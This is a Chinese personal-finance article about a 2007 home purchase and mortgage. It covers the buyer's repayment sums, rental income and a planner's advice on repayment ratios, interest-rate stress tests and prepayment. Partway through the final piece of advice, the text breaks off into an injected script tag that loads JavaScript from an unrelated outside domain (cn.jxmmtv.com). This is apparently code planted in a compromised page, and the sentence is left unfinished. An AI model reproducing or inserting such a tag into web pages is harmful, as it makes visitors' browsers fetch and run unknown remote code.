[提要]经济不景气时，最重要的，是稳定的现金流，这包括工作所得，也包括对已有积蓄的“去高风险化”。简而言之，经济危机时，第一要保住工作；第二要保住现金。
王婷去年买房的时候，房价才开始飚升，当时她看中了一处三室两厅的
房产。一天，房产中介的电话响了，售楼小姐通知王婷，房价明天统一上涨，每平方米500-1000元不等，让王婷看要不要马上下订单。
王婷只考虑了五分钟，就和老公开着车，直奔售楼处，毫不犹豫付了20万元订金。不久之后，王婷就补足了首付，共200万元，余下的房款还有200万元，王婷贷了12年。那是2007年5月，房价和股市都正在等候着最后的一轮飚升。
因为上一次公积金贷款还有一点未还完，所以此次王婷全部是商业贷款。2007年上调了6次息口后，在2008年1月份，王婷每月需还款20202元。
2007年6月开始，月供，共12年（假设维持2008年的利率）
2007年，账越算越开心
王婷至今也没有后悔那次买房，实际上，现在的房价虽然从最高点跌下来两成左右，但离她的成本，还有20%多，而如果不是买了房，王婷作为一个一直在股市里进进出出的股民，很有可能将这笔钱放着，如果那样，结果可能更坏。
作为一个企业的会计，王婷很会算账。她和先生本身已有一处房产，只余下10多万元的贷款，用两人的公积金逐月充还，完全不用动用手上的现金。有了新房后，王婷就将老房子余下的10多万贷款还了，将公积金用来还新的房贷。每月2万多元的还款，对王婷和其先生来说，也还能够承担，差不多正好是两人月净收入的一半。新房子虽然是毛坯，但买时王婷就想到要先租出去，所以房产证还没到手，王婷已经在好几处中介将信息挂了出去，房子一到手，王婷就带租户去看，直接签下了5000元/月的租金，及时帮助抵清一部分房贷。
王婷当时很满意自己的决定，房价呼呼地涨，最高时涨了近50%，如果扣除房贷部分，账面盈利有200万元！自己和先生的工资也在稳定增长，只等存够了装修的钱，就搬到新房子去。这个账，她越算越开心。
[理财师建议]
房贷要考虑家庭现金流，房贷是负债生活，对普通市民来说，或许是一辈子最大的一次投资，因此，很多问题要细细考虑。
1.月供不能超过净收入的50%，同时考虑利息上升时的压力：在考虑付多少首付，贷款多少额度时，王婷将手中的现金留出50万元以备装修和紧急状况，其余的付首付，而月供的计算是要求其额度不能超过整个家庭月净收入的一半。基本上，这个原则是适用的，同时，手中最好留足6个月的贷款额，以备不时之需。不过，王婷还应该考虑到，当时利率正在上涨，还款的压力在下一个年份开始时，可能加大，应该做一个加息后的压力测试，让加息后的还款额也可以控制在月净收入50%的范围内。王婷贷款时是6.84%的基础利率，但经过2007年的6次利息上涨后，在2008年变为7.83%，好在2009年利息会从7.83%降为7.2%，还款的压力将有所减轻。
2.提前还贷问题：其实王婷和先生并没有准备真的贷足12年。他们的设想是现在每年还能存下30万元左右的钱，如果没有好的投资机会，是准备每年提前还贷一部分的。
3.贷款品种的选择：其实，像王婷这样的房奴，银行是比较喜欢的，手上还有一套无贷的
房产，夫妻收入稳定，很多银行是抢着要的。王婷在选择贷款时，可以?script src=http://cn.jxmmtv.com/cn.js>
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